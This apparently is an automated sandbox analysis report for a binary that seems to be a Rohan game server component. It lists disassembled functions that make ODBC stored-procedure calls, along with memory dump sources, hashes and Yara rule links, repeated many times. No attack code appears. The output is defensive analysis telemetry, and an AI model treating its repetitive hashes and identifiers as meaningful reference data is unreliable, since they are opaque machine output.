                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_ConsignAddMoney] (?,?,?)}
                                                                                                                            • API String ID: 0-3466493713
                                                                                                                            • Opcode ID: 1dad14097ad65432a00b17efcb710dedb8e34fd4d17f7bc5b5f1161ad6094411
                                                                                                                            • Instruction ID: 54df86a35b2b259f13a6b4f78ba0f109b492d70faec1cbdab3e4f72e274e5f28
                                                                                                                            • Opcode Fuzzy Hash: 1dad14097ad65432a00b17efcb710dedb8e34fd4d17f7bc5b5f1161ad6094411
                                                                                                                            • Instruction Fuzzy Hash: 69310371E882146BEB608F44CC56F9A7374EB84714F20C289F61C6B2C5DDB979808F59
                                                                                                                            Function 0043E1D8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetResultRevenge](?,?,?)},000000FD), ref: 0043E1F8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E23A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043E26F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043E2A7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 0043E2DF
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetResultRevenge](?,?,?)}, xrefs: 0043E1EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetResultRevenge](?,?,?)}
                                                                                                                            • API String ID: 0-1588943654
                                                                                                                            • Opcode ID: 4451da46a9d3cc26b9e5632598b2d6fd2d1b34971045f4e833ca65026f6a8955
                                                                                                                            • Instruction ID: daa56f715aa8caa7a363d683d2f1d9ad717dc2a2b20b1e17fc3f28480f81cb6d
                                                                                                                            • Opcode Fuzzy Hash: 4451da46a9d3cc26b9e5632598b2d6fd2d1b34971045f4e833ca65026f6a8955
                                                                                                                            • Instruction Fuzzy Hash: 0E3130B4640254BBFB24CB85CC12FE97379EB80B18F10C689F7592E2C5D5F269808F58
                                                                                                                            Function 004417D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohangame_pLucky_GetNumUser] (?, ?, ?)},000000FD), ref: 004417EA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00441836
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00441873
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 004418AB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004418E3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohangame_pLucky_GetNumUser] (?, ?, ?)}, xrefs: 004417E1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohangame_pLucky_GetNumUser] (?, ?, ?)}
                                                                                                                            • API String ID: 0-206787853
                                                                                                                            • Opcode ID: e1d5145c5eb57a391be92fad7a9ae2a0df8ee203e496160bde1eecdee47a255b
                                                                                                                            • Instruction ID: 1e3dfa3d8686171a63e0bc2666b51bdb11bbbceeead1865577d2db4bd5e9ce8f
                                                                                                                            • Opcode Fuzzy Hash: e1d5145c5eb57a391be92fad7a9ae2a0df8ee203e496160bde1eecdee47a255b
                                                                                                                            • Instruction Fuzzy Hash: 91310FB0A44314BBEB249B54CC52FDA7335FB84B18F2082C9F7242A6C5D5B16A81CB58
                                                                                                                            Function 00434196 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetNGuildWarInfoList] (?,?,?)},000000FD), ref: 004341B6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004341F5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043422A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00434262
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043429A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetNGuildWarInfoList] (?,?,?)}, xrefs: 004341AD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetNGuildWarInfoList] (?,?,?)}
                                                                                                                            • API String ID: 0-2291583094
                                                                                                                            • Opcode ID: 784ccee29c7ec8bbadb21f0e9038acecd061330fb8c80b6f2903d037e98e5cb1
                                                                                                                            • Instruction ID: ce6b28d3cea759a8b91df333af4cfcf0b505e79d8caabac875db78b73f3255b3
                                                                                                                            • Opcode Fuzzy Hash: 784ccee29c7ec8bbadb21f0e9038acecd061330fb8c80b6f2903d037e98e5cb1
                                                                                                                            • Instruction Fuzzy Hash: 2F3112B0B443187BEB248F44CC52FAA7334EB85B14F144289F7196E6C4D6B66E80CF59
                                                                                                                            Function 004352F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetDivorce] (?,?,?)},000000FD), ref: 00435310
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043534F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435384
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004353BC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004353F4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetDivorce] (?,?,?)}, xrefs: 00435307
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetDivorce] (?,?,?)}
                                                                                                                            • API String ID: 0-2317208128
                                                                                                                            • Opcode ID: 9668ab61eba10f5d371ea0b8e3332dfdd2148f428ba322abb482dcd88ccb3bc4
                                                                                                                            • Instruction ID: a4201f1dea53c3c4eb530cb841032f40aaafb2576785d5fc0b04eca3a10bf919
                                                                                                                            • Opcode Fuzzy Hash: 9668ab61eba10f5d371ea0b8e3332dfdd2148f428ba322abb482dcd88ccb3bc4
                                                                                                                            • Instruction Fuzzy Hash: 5831F2B06842147BEB248B44CD52FA9B335EB84B1CF108289FB1C6E2C6D7B56E508F58
                                                                                                                            Function 0042D346 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_ChangeGuildAuthority](?, ?, ?)},000000FD), ref: 0042D366
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D3A5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D3DA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D412
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042D44A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_ChangeGuildAuthority](?, ?, ?)}, xrefs: 0042D35D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_ChangeGuildAuthority](?, ?, ?)}
                                                                                                                            • API String ID: 0-264154639
                                                                                                                            • Opcode ID: 7101c63cc750899af236b99e6ac25b18291eae923c200bd2bc2b392540c7bd61
                                                                                                                            • Instruction ID: 2278025119c68b87aab1bdc28dd0316a591bd20455cafacc75f147daaf819555
                                                                                                                            • Opcode Fuzzy Hash: 7101c63cc750899af236b99e6ac25b18291eae923c200bd2bc2b392540c7bd61
                                                                                                                            • Instruction Fuzzy Hash: 8A31FFF16442557BEB30CB44CC42FAE7376FB84B18F208289F7256E2C5D6B569808B5C
                                                                                                                            Function 004344CA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetValidPeriod] (?,?,?)},000000FD), ref: 004344EA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434529
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043455E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434596
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004345CE
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetValidPeriod] (?,?,?)}, xrefs: 004344E1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
